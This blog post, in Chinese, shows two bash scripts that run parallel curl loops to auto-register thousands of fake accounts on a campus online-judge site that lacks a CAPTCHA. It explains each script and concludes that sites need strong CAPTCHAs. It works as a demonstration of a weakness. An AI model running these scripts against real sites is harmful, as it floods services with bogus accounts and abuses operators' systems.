网站自动注册问题
By 马冬亮(凝霜 Loki)
一个人的战争(http://blog.csdn.net/MDL13412)
背景
前段时间ACM协会的一哥们给协会弄了一套OJ系统,使用了NOJ这个开源模板,并进行了一些定制。在使用过程中发现在注册用户的过程中没有使用验证码,没有验证码,那么实现自动注册就非常容易了,本文是我实现的一段并行注册的脚本。
源码
首先是worker_thread.sh脚本,是真正用于自动注册的线程:
#!/bin/env bash for i in `seq $1 $2` do curl --silent http://172.20.182.115:8080/acmhome/register.do?method=add -d "userName=test${i}&password=123456&rePassword=123456&nickName=&school=&blog=&email=&lang=English" > /dev/null done
接下来是并行注册的负载调度程序 parallel_reg.sh:#!/bin/env bash thread_count=10 user_start_index=1 user_end_index=5000 step=$(( (${user_end_index} - ${user_start_index} + 1) / ${thread_count})) for i in `seq 0 $(( ${thread_count} - 1 ))` do ./worker_thread.sh $(( ${i} * ${step} + 1 )) $(( ${i} * ${step} + ${step} )) & done
原理
先来说说负载调度的原理:
- 设定并行参数。thread_count设定并行线程的数量,user_srart_index设定注册用户的起始编号,user_end_index设定注册用户的终止编号;
- step变量用于计算每个工作线程需要负载的注册数量;
- 通过for循环,将任务分块,并传递给worker_thread.sh进行后台注册。
接下来讲解下work_thread.sh的原理:
- 通过接收parallel_reg.sh传递进来的两个参数,可以确定注册的起始编号和结束编号,并以此作为for循环的范围;
- 使用了强大的curl程序,其中--slient参数指明静默运行,而http://172.20.182.115:8080/acmhome/register.do?method=add这个url是用于提交注册表单的注册页面,接下来的-d "userName=test${i}&password=123456&rePassword=123456&nickName=&school=&blog=&email=&lang=English"则是要提交表单中的内容,其中的test${i}将被替换成例如test1,test2,test9这种形式,最后将所有的输出都重定向到/dev/null中,因为我们不需要查看这些信息。
总结
通过上述两个脚本,我们可以看出在没有注册码的情况下网站被恶意注册是一件非常简单的事情,因此我们在设计网站的时候对注册码一定要认真对待,要尽最大可能增加其识别难度,以防止恶意注册。